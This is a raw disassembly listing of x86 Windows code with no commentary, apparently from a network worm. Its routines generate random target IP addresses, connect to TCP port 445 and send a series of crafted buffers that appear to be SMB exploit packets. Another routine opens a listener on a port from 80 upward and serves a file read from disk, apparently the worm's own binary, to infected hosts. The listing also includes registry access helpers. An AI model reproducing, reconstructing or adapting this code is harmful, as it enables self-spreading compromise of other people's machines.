		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_43F009
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_43F009
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	ecx, [esp+1Ch+var_14]
		mov	ecx, [eax+0Ch]
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_43EFDA
		call	dword ptr [ebx+esi*4+8]
		jmp	short loc_43EFDA
; ---------------------------------------------------------------------------


loc_43F009:				; CODE XREF: sub_43EFBD+2Aj
					; sub_43EFBD+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_43EFBD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F017	proc near		; CODE XREF: .data:0043F0E8p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_401092
		push	[ebp+arg_0]
		call	sub_440755
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_43F017	endp

; ---------------------------------------------------------------------------
		db 0FCh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, [ebp+0Ch]
		mov	eax, [ebp+8]
		mov	dword ptr ds:loc_404086+6, eax
		mov	dword ptr ds:loc_40408D+3, ebx
		test	dword ptr [eax+4], 6
		jnz	loc_43F11C
		mov	[ebp-8], eax
		mov	eax, [ebp+10h]
		mov	[ebp-4], eax
		mov	dword ptr ds:loc_40408D+3, eax
		lea	eax, [ebp-8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_43F07A:				; CODE XREF: .data:0043F113j
		cmp	esi, 0FFFFFFFFh
		jz	loc_43F12B
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_43F10A
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		mov	eax, [ebp-14h]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	dword ptr ds:loc_40402C+4, eax
		mov	edx, [ebp-14h]
		mov	eax, [edx]
		mov	dword ptr ds:loc_404033+1, eax
		mov	eax, [edx+4]
		mov	dword ptr ds:loc_404033+5, eax
		push	esi
		push	edi
		push	ecx
		mov	ecx, 14h
		lea	edi, loc_40403B+1
		mov	esi, dword ptr ds:loc_404033+1
		rep movsd
		lea	edi, loc_40403B+1
		mov	dword ptr ds:loc_404033+1, edi
		pop	ecx
		pop	edi
		pop	esi
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+0Ch]
		or	eax, eax
		jz	short loc_43F10A
		js	short loc_43F118
		mov	edi, [ebx+8]
		push	ebx
		call	sub_43F017
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_43EFBD
		add	esp, 8
		lea	ecx, [esi+esi*2]
		mov	eax, [edi+ecx*4]
		mov	eax, [ebx+0Ch]
		call	dword ptr [edi+ecx*4+8]


loc_43F10A:				; CODE XREF: .data:0043F08Bj
					; .data:0043F0E0j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	loc_43F07A
; ---------------------------------------------------------------------------


loc_43F118:				; CODE XREF: .data:0043F0E2j
		xor	eax, eax
		jmp	short loc_43F18D
; ---------------------------------------------------------------------------


loc_43F11C:				; CODE XREF: .data:0043F05Aj
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_43EFBD
		add	esp, 0Ch


loc_43F12B:				; CODE XREF: .data:0043F07Dj
		push	0
		mov	dword ptr ds:loc_40400E+2, 0Bh
		push	0Bh
		call	sub_4408F9
		add	esp, 8
		or	eax, eax
		jnz	short loc_43F166
		push	0
		mov	dword ptr ds:loc_40400E+2, 8
		push	8
		call	sub_4408F9
		add	esp, 8
		or	eax, eax
		jnz	short loc_43F166
		mov	eax, 1
		jmp	short loc_43F18D
; ---------------------------------------------------------------------------


loc_43F166:				; CODE XREF: .data:0043F143j
					; .data:0043F15Dj
		cmp	eax, 0FFFFFFFFh
		jz	short loc_43F195
		push	eax
		push	dword ptr ds:loc_40400E+2
		call	sub_4408F9
		add	esp, 8
		push	dword ptr ds:loc_40400E+2
		call	sub_4408E1
		add	esp, 4
		mov	eax, 1


loc_43F18D:				; CODE XREF: .data:0043F11Aj
					; .data:0043F164j ...
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_43F195:				; CODE XREF: .data:0043F169j
		cmp	dword ptr ds:loc_40402C, 0
		jnz	short loc_43F1A5
		mov	eax, 1
		jmp	short loc_43F18D
; ---------------------------------------------------------------------------


loc_43F1A5:				; CODE XREF: .data:0043F19Cj
		mov	eax, dword ptr ds:loc_40402C
		push	0Bh
		jmp	eax
; ---------------------------------------------------------------------------
		dw 0B858h
		dd 1, 0A164D7EBh, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	40401Ch
		push	offset sub_40109A
		push	eax
		mov	large fs:0, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		push	eax
		fnstcw	word ptr [esp]
		or	word ptr [esp],	300h
		fldcw	word ptr [esp]
		add	esp, 4
		push	0
		push	0
		push	404028h
		push	404024h
		push	offset sub_404020
		call	sub_4408A5
		push	dword ptr ds:loc_404025+3
		push	dword ptr ds:loc_404023+1
		push	dword ptr ds:sub_404020
		mov	dword ptr ds:loc_40400E+6, esp
		call	sub_4405FD
		add	esp, 18h
		xor	ecx, ecx
		mov	[ebp-4], ecx
		push	eax
		call	sub_4408BD
		leave
		retn
; ---------------------------------------------------------------------------
		db 64h,	0A3h, 0
		dd 0C3000000h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F239	proc near		; CODE XREF: sub_43F2D4+12p

var_35		= byte ptr -35h
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		push	2
		lea	eax, [ebp+var_35]
		push	eax
		push	[ebp+arg_0]
		call	sub_440899
		add	esp, 0Ch
		lea	ecx, [ebp+var_35]
		or	eax, 0FFFFFFFFh


loc_43F25C:				; CODE XREF: sub_43F239+28j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43F25C
		mov	ebx, eax
		mov	[ebp+var_2], bl
		mov	[ebp+var_1], 0
		jmp	short loc_43F284
; ---------------------------------------------------------------------------


loc_43F26E:				; CODE XREF: sub_43F239+55j
		movzx	eax, [ebp+var_1]
		movzx	edx, [ebp+var_2]
		sub	edx, eax
		dec	edx
		mov	al, [ebp+eax+var_35]
		mov	[edi+edx], al
		add	[ebp+var_1], 1


loc_43F284:				; CODE XREF: sub_43F239+33j
		movzx	eax, [ebp+var_1]
		movzx	edx, [ebp+var_2]
		cmp	eax, edx
		jl	short loc_43F26E
		movzx	eax, [ebp+var_2]
		mov	byte ptr [edi+eax], 0
		mov	[ebp+var_3], 0
		jmp	short loc_43F2B0
; ---------------------------------------------------------------------------


loc_43F29E:				; CODE XREF: sub_43F239+88j
		push	404DE5h
		push	edi
		call	sub_44091D
		add	esp, 8
		add	[ebp+var_3], 1


loc_43F2B0:				; CODE XREF: sub_43F239+63j
		movzx	eax, [ebp+var_3]
		mov	edx, 20h
		movzx	ecx, [ebp+var_2]
		sub	edx, ecx
		cmp	eax, edx
		jl	short loc_43F29E
		push	[ebp+arg_8]
		push	edi
		call	sub_44091D
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F239	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F2D4	proc near		; CODE XREF: sub_4403F5+97p

var_32		= byte ptr -32h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	404DE3h
		lea	eax, [ebp+var_32]
		push	eax
		push	[ebp+arg_0]
		call	sub_43F239
		add	esp, 0Ch
		lea	eax, [ebp+var_32]
		push	eax
		call	sub_44070D
		leave
		retn
sub_43F2D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F2F9	proc near		; CODE XREF: .data:004403B3p
					; sub_4403F5+F1p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	edi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		push	0F003Fh
		push	0
		push	0
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_44085D
		mov	edi, eax
		or	edi, edi
		jz	short loc_43F329
		xor	eax, eax
		jmp	short loc_43F361
; ---------------------------------------------------------------------------


loc_43F329:				; CODE XREF: sub_43F2F9+2Aj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	sub_44088D
		mov	edi, eax
		push	[ebp+var_4]
		call	sub_440869
		or	edi, edi
		jz	short loc_43F351
		xor	eax, eax
		jmp	short loc_43F361
; ---------------------------------------------------------------------------


loc_43F351:				; CODE XREF: sub_43F2F9+52j
		cmp	[ebp+var_8], 1
		jnz	short loc_43F35E
		mov	eax, 2
		jmp	short loc_43F361
; ---------------------------------------------------------------------------


loc_43F35E:				; CODE XREF: sub_43F2F9+5Cj
		xor	eax, eax
		inc	eax


loc_43F361:				; CODE XREF: sub_43F2F9+2Ej
					; sub_43F2F9+56j ...
		pop	edi
		leave
		retn
sub_43F2F9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F364	proc near		; CODE XREF: .data:0044038Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	edi
		lea	eax, [ebp+var_4]
		push	eax
		push	20019h
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_440875
		mov	edi, eax
		or	edi, edi
		jz	short loc_43F389
		xor	eax, eax
		jmp	short loc_43F3B4
; ---------------------------------------------------------------------------


loc_43F389:				; CODE XREF: sub_43F364+1Fj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_14]
		push	0
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	sub_440881
		mov	edi, eax
		push	[ebp+var_4]
		call	sub_440869
		or	edi, edi
		jz	short loc_43F3B1
		xor	eax, eax
		jmp	short loc_43F3B4
; ---------------------------------------------------------------------------


loc_43F3B1:				; CODE XREF: sub_43F364+47j
		xor	eax, eax
		inc	eax


loc_43F3B4:				; CODE XREF: sub_43F364+23j
					; sub_43F364+4Bj
		pop	edi
		leave
		retn
sub_43F364	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0
		push	100h
		lea	eax, [ebp-100h]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4405B5
		cmp	eax, 0FFFFFFFFh
		jz	loc_43F4FB
		push	404DDFh
		lea	eax, [ebp-100h]
		push	eax
		call	sub_440935
		add	esp, 8
		or	eax, eax
		jz	loc_43F4BD
		push	404DDBh
		lea	edx, [ebp-100h]
		push	edx
		call	sub_440935
		add	esp, 8
		or	eax, eax
		jz	loc_43F4BD
		push	0
		push	3Dh
		push	404D9Dh
		push	dword ptr [ebp+8]
		call	sub_4405C1
		push	dword ptr ds:loc_403004
		push	404D86h
		lea	eax, [ebp-200h]
		push	eax
		call	sub_440905
		add	esp, 0Ch
		lea	ecx, [ebp-200h]
		or	eax, 0FFFFFFFFh


loc_43F450:				; CODE XREF: .data:0043F455j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_43F450
		push	0
		push	eax
		lea	edx, [ebp-200h]
		push	edx
		push	dword ptr [ebp+8]
		call	sub_4405C1


loc_43F469:				; CODE XREF: .data:0043F4AFj
		mov	eax, dword ptr ds:loc_403004
		mov	edi, eax
		sub	edi, ebx
		cmp	edi, 1000h
		jb	short loc_43F47F
		mov	edi, 1000h


loc_43F47F:				; CODE XREF: .data:0043F478j
		or	edi, edi
		jz	short loc_43F4B1
		push	0
		push	edi
		mov	eax, ebx
		add	eax, dword ptr ds:loc_403004+4
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4405C1
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_43F4FB
		cmp	esi, 1000h
		jb	short loc_43F4B1
		add	ebx, esi
		push	64h
		call	sub_44076D
		jmp	short loc_43F469
; ---------------------------------------------------------------------------


loc_43F4B1:				; CODE XREF: .data:0043F481j
					; .data:0043F4A4j
		push	404098h
		call	sub_440725
		jmp	short loc_43F4DF
; ---------------------------------------------------------------------------


loc_43F4BD:				; CODE XREF: .data:0043F3FAj
					; .data:0043F416j
		push	0
		push	15h
		push	404D70h
		push	dword ptr [ebp+8]
		call	sub_4405C1
		push	0
		push	0Dh
		push	40409Ch
		push	dword ptr [ebp+8]
		call	sub_4405C1


loc_43F4DF:				; CODE XREF: .data:0043F4BBj
		push	7D0h
		call	sub_44076D
		push	2
		push	dword ptr [ebp+8]
		call	sub_4405CD
		push	dword ptr [ebp+8]
		call	sub_440555


loc_43F4FB:				; CODE XREF: .data:0043F3DEj
					; .data:0043F49Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	0
		push	404098h
		call	sub_440719
		push	0
		push	80h
		push	3
		push	0
		push	1
		push	80000000h
		push	offset sub_403010
		call	sub_44073D
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_43F541
		push	1
		call	sub_4406AD


loc_43F541:				; CODE XREF: .data:0043F538j
		push	0
		push	ebx
		call	sub_4406D1
		mov	dword ptr ds:loc_403004, eax
		push	eax
		push	0
		call	sub_440731
		mov	dword ptr ds:loc_403004+4, eax
		push	0
		lea	eax, [ebp-30h]
		push	eax
		push	dword ptr ds:loc_403004
		push	dword ptr ds:loc_403004+4
		push	ebx
		call	sub_440749
		push	ebx
		call	sub_4406E9
		push	0
		push	1
		push	2
		call	sub_4405D9
		mov	esi, eax
		push	10h
		lea	eax, [ebp-24h]
		push	eax
		call	sub_440761
		mov	word ptr [ebp-24h], 2
		and	dword ptr [ebp-20h], 0
		mov	word ptr [ebp-26h], 0


loc_43F5A1:				; CODE XREF: .data:0043F5E1j
		movzx	eax, word ptr [ebp-26h]
		add	eax, 50h
		mov	word ptr ds:loc_404092+2, ax
		movzx	eax, word ptr ds:loc_404092+2
		push	eax
		call	sub_440585
		mov	edx, eax
		mov	[ebp-22h], dx
		push	10h
		lea	eax, [ebp-24h]
		push	eax
		push	esi
		call	sub_440549
		mov	[ebp-2Ch], eax
		inc	word ptr [ebp-26h]
		or	eax, eax
		jz	short loc_43F5E3
		movzx	eax, word ptr [ebp-26h]
		cmp	eax, 0FDE8h
		jl	short loc_43F5A1


loc_43F5E3:				; CODE XREF: .data:0043F5D6j
		push	64h
		push	esi
		call	sub_4405A9
		mov	dword ptr [ebp-4], 10h


loc_43F5F2:				; CODE XREF: .data:0043F61Dj
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-14h]
		push	eax
		push	esi
		call	sub_44053D
		mov	edi, eax
		lea	eax, [ebp-34h]
		push	eax
		push	0
		push	edi
		push	40141Ah
		push	0
		push	0
		call	sub_440791
		push	eax
		call	sub_4406E9
		jmp	short loc_43F5F2
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0C3C95B5Eh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F624	proc near		; CODE XREF: .data:0043FE57p

var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_13		= byte ptr -13h
var_3		= byte ptr -3
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_13]
		lea	esi, sub_4040AA
		mov	ecx, 4
		rep movsd
		lea	edi, [ebp+var_18]
		lea	esi, loc_4040B4+6
		mov	ecx, 5
		rep movsb


loc_43F64D:				; CODE XREF: sub_43F624+51j
					; sub_43F624+74j
		call	sub_4408ED
		mov	ecx, 0DDh
		cdq
		idiv	ecx
		lea	edi, [edx+3]
		mov	ebx, edi
		mov	[ebp+var_3], bl
		mov	[ebp+var_2], 0
		jmp	short loc_43F69E
; ---------------------------------------------------------------------------


loc_43F66A:				; CODE XREF: sub_43F624+81j
		mov	al, [ebp+var_3]
		movzx	edx, [ebp+var_2]
		cmp	al, [ebp+edx+var_13]
		jz	short loc_43F64D
		movzx	eax, [ebp+var_2]
		cmp	eax, 5
		jnb	short loc_43F69A
		movzx	eax, [ebp+var_3]
		movzx	edx, [ebp+var_2]
		movzx	ecx, [ebp+edx+var_13]
		cmp	eax, ecx
		jb	short loc_43F69A
		movzx	edx, [ebp+edx+var_18]
		cmp	eax, edx
		jbe	short loc_43F64D


loc_43F69A:				; CODE XREF: sub_43F624+5Aj
					; sub_43F624+6Bj
		inc	[ebp+var_2]


loc_43F69E:				; CODE XREF: sub_43F624+44j
		movzx	eax, [ebp+var_2]
		cmp	eax, 10h
		jb	short loc_43F66A


loc_43F6A7:				; CODE XREF: sub_43F624+ACj
		call	sub_4408ED
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		lea	edi, [edx+1]
		mov	ebx, edi
		mov	[ebp+var_19], bl
		movzx	eax, [ebp+var_3]
		cmp	eax, 0C0h
		jnz	short loc_43F6D2
		movzx	eax, [ebp+var_19]
		cmp	eax, 0A8h
		jz	short loc_43F6A7


loc_43F6D2:				; CODE XREF: sub_43F624+A1j
		call	sub_4408ED
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		lea	edi, [edx+1]
		mov	ebx, edi
		mov	[ebp+var_1A], bl
		call	sub_4408ED
		mov	ecx, 0FDh
		cdq
		idiv	ecx
		lea	edi, [edx+1]
		mov	ebx, edi
		mov	[ebp+var_1B], bl
		movzx	eax, [ebp+var_1B]
		push	eax
		movzx	eax, [ebp+var_1A]
		push	eax
		movzx	eax, [ebp+var_19]
		push	eax
		movzx	eax, [ebp+var_3]
		push	eax
		push	404D64h
		push	[ebp+arg_0]
		call	sub_440905
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43F624	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43F725	proc near		; CODE XREF: .data:0044005Cp

var_89F4	= dword	ptr -89F4h
var_89F0	= dword	ptr -89F0h
var_89EC	= dword	ptr -89ECh
var_89E8	= dword	ptr -89E8h
var_89E3	= byte ptr -89E3h
var_89E2	= word ptr -89E2h
var_89E0	= byte ptr -89E0h
var_89D8	= byte ptr -89D8h
var_8970	= byte ptr -8970h
var_6900	= byte ptr -6900h
var_68E2	= byte ptr -68E2h
var_6842	= byte ptr -6842h
var_6136	= dword	ptr -6136h
var_6126	= byte ptr -6126h
var_6112	= byte ptr -6112h
var_60A2	= byte ptr -60A2h
var_55DE	= byte ptr -55DEh
var_403A	= byte ptr -403Ah
var_4039	= byte ptr -4039h
var_3FBD	= byte ptr -3FBDh
var_37ED	= byte ptr -37EDh
var_3342	= byte ptr -3342h
var_3058	= dword	ptr -3058h
var_3054	= dword	ptr -3054h
var_3050	= dword	ptr -3050h
var_304C	= word ptr -304Ch
var_304A	= word ptr -304Ah
var_3048	= dword	ptr -3048h
var_303C	= byte ptr -303Ch
var_3039	= byte ptr -3039h
var_300F	= byte ptr -300Fh
var_300D	= byte ptr -300Dh
var_300C	= byte ptr -300Ch
var_2FC7	= byte ptr -2FC7h
var_2F83	= byte ptr -2F83h
var_2987	= byte ptr -2987h
var_21A3	= byte ptr -21A3h
var_2193	= byte ptr -2193h
var_1E6F	= byte ptr -1E6Fh
var_1E6B	= byte ptr -1E6Bh
var_1E5F	= byte ptr -1E5Fh
var_1BDA	= byte ptr -1BDAh
var_1BD9	= byte ptr -1BD9h
var_B46		= byte ptr -0B46h
var_82		= byte ptr -82h
var_81		= byte ptr -81h
var_80		= dword	ptr -80h
var_7C		= byte ptr -7Ch
var_54		= dword	ptr -54h
var_50		= byte ptr -50h
var_4F		= byte ptr -4Fh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 89F4h
		call	sub_440661
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_3054],	1
		mov	[ebp+var_89F0],	1
		lea	edi, [ebp+var_89E0]
		lea	esi, loc_4049EB+5
		movsd
		movsd
		and	[ebp+var_89F4],	0
		mov	[ebp+var_89E2],	1BDh
		push	0
		push	1
		push	2
		call	sub_4405D9
		mov	[ebp+var_54], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43FD7B
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_89EC],	eax
		push	eax
		call	sub_44059D
		push	1Dh
		push	eax
		lea	edi, [ebp+var_6900]
		push	edi
		call	sub_440779
		lea	eax, [ebp+var_6900]
		push	eax
		push	404D5Ah
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_440905
		add	esp, 0Ch
		xor	ebx, ebx


loc_43F7B6:				; CODE XREF: sub_43F725+A2j
		mov	dl, [ebp+ebx+var_7C]
		mov	[ebp+ebx*2+var_50], dl
		mov	[ebp+ebx*2+var_4F], 0
		inc	ebx
		cmp	ebx, 28h
		jl	short loc_43F7B6
		push	60h
		push	offset sub_404525
		lea	eax, [ebp+var_303C]
		push	eax
		call	sub_4408C9
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_440785
		mov	edi, eax
		shl	edi, 1
		push	edi
		lea	edi, [ebp+var_50]
		push	edi
		lea	edi, [ebp+var_300C]
		push	edi
		call	sub_4408C9
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_440785
		push	9
		push	40457Ch
		mov	edi, eax
		shl	edi, 1
		lea	edi, [ebp+edi+var_300D]
		push	edi
		call	sub_4408C9
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_440785
		mov	edx, eax
		movsx	edi, dl
		shl	edi, 1
		add	edi, 34h
		mov	edx, edi
		mov	[ebp+var_403A],	dl
		push	1
		lea	eax, [ebp+var_403A]
		push	eax
		lea	eax, [ebp+var_3039]
		push	eax
		call	sub_4408C9
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_440785
		mov	edx, eax
		movsx	edi, dl
		shl	edi, 1
		add	edi, 9
		mov	edx, edi
		mov	[ebp+var_89E3],	dl
		push	1
		lea	eax, [ebp+var_89E3]
		push	eax
		lea	eax, [ebp+var_300F]
		push	eax
		call	sub_4408C9
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_3058],	eax
		push	0E29h
		push	31h
		lea	eax, [ebp+var_4039]
		push	eax
		call	sub_4408D5
		add	esp, 48h
		push	10h
		lea	eax, [ebp+var_304C]
		push	eax
		call	sub_440761
		mov	[ebp+var_304C],	2
		movsx	eax, [ebp+var_89E2]
		movzx	eax, ax
		push	eax
		call	sub_440585
		mov	edi, eax
		mov	[ebp+var_304A],	di
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_3048],	eax
		push	10h
		lea	eax, [ebp+var_304C]
		push	eax
		push	[ebp+var_54]
		call	sub_440561
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_43F8F8
		mov	[ebp+var_3054],	2
		jmp	loc_43FD73
; ---------------------------------------------------------------------------


loc_43F8F8:				; CODE XREF: sub_43F725+1C2j
		push	64h
		call	sub_44076D
		push	0
		push	89h
		push	offset sub_404313
		push	[ebp+var_54]
		call	sub_4405C1
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_44076D
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_4405B5
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43FD69
		push	0
		push	0A8h
		push	40439Dh
		push	[ebp+var_54]
		call	sub_4405C1
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_44076D
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_4405B5
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43FD69
		push	0
		push	0DEh
		push	404446h
		push	[ebp+var_54]
		call	sub_4405C1
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_44076D
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_4405B5
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43FD69
		mov	eax, [ebp+var_80]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_43F9D2
		cmp	eax, 46h
		jge	short loc_43F9D7


loc_43F9D2:				; CODE XREF: sub_43F725+2A6j
		jmp	loc_43FD69
; ---------------------------------------------------------------------------


loc_43F9D7:				; CODE XREF: sub_43F725+2ABj
		lea	eax, [ebp+var_2F83]
		mov	[ebp+var_89E8],	eax
		cmp	byte ptr [eax],	31h
		setnz	al
		and	eax, 1
		mov	[ebp+var_3050],	eax
		jz	loc_43FAEB
		push	0DACh
		push	90h
		lea	eax, [ebp+var_2987]
		push	eax
		call	sub_4408D5
		push	4
		imul	eax, [ebp+var_3050], 3Ch
		lea	eax, ds:404938h[eax]
		push	eax
		lea	eax, [ebp+var_21A3]
		push	eax
		call	sub_4408C9
		push	[ebp+arg_8]
		push	[ebp+var_3058]
		lea	eax, [ebp+var_2193]
		push	eax
		call	sub_4408C9
		push	4
		push	404D55h
		lea	eax, [ebp+var_1E6F]
		push	eax
		call	sub_4408C9
		push	4
		imul	eax, [ebp+var_3050], 3Ch
		lea	eax, ds:404938h[eax]
		push	eax
		lea	eax, [ebp+var_1E6B]
		push	eax
		call	sub_4408C9
		push	[ebp+var_3058]
		call	sub_440785
		push	eax
		push	[ebp+var_3058]
		lea	edi, [ebp+var_1E5F]
		push	edi
		call	sub_4408C9
		add	esp, 48h
		xor	ebx, ebx


loc_43FA93:				; CODE XREF: sub_43F725+38Bj
		mov	dl, [ebp+ebx+var_2987]
		mov	[ebp+ebx*2+var_1BDA], dl
		mov	[ebp+ebx*2+var_1BD9], 0
		inc	ebx
		cmp	ebx, 0DACh
		jl	short loc_43FA93
		mov	[ebp+var_82], 0
		mov	[ebp+var_81], 0
		push	1C52h
		push	31h
		lea	eax, [ebp+var_89D8]
		push	eax
		call	sub_4408D5
		push	1C52h
		push	31h
		lea	eax, [ebp+var_6112]
		push	eax
		call	sub_4408D5
		add	esp, 18h
		jmp	short loc_43FB4D
; ---------------------------------------------------------------------------


loc_43FAEB:				; CODE XREF: sub_43F725+2CDj
		push	7D0h
		push	90h
		lea	eax, [ebp+var_68E2]
		push	eax
		call	sub_4408D5
		push	[ebp+var_3058]
		call	sub_440785
		push	eax
		push	[ebp+var_3058]
		lea	edi, [ebp+var_6842]
		push	edi
		call	sub_4408C9
		lea	eax, [ebp+var_89E0]
		push	eax
		call	sub_440785
		push	eax
		lea	edi, [ebp+var_89E0]
		push	edi
		lea	edi, [ebp+var_6126]
		push	edi
		call	sub_4408C9
		add	esp, 24h
		mov	eax, dword ptr ds:loc_404937+1
		mov	[ebp+var_6136],	eax


loc_43FB4D:				; CODE XREF: sub_43F725+3C4j
		push	0
		movsx	eax, [ebp+var_403A]
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_303C]
		push	eax
		push	[ebp+var_54]
		call	sub_4405C1
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_44076D
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_4405B5
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43FD69
		push	0
		push	68h
		push	offset sub_404586
		push	[ebp+var_54]
		call	sub_4405C1
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_44076D
		push	0
		push	640h
		lea	eax, [ebp+var_2FC7]
		push	eax
		push	[ebp+var_54]
		call	sub_4405B5
		mov	[ebp+var_80], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_43FD69
		push	0
		push	0A0h
		push	offset sub_4045EF
		push	[ebp+var_54]
		call	sub_4405C1
		cmp	eax, 0FFFFFFFFh
		jnz	short $+2
		push	64h
		call	sub_44076D
		push	0
		push	640h
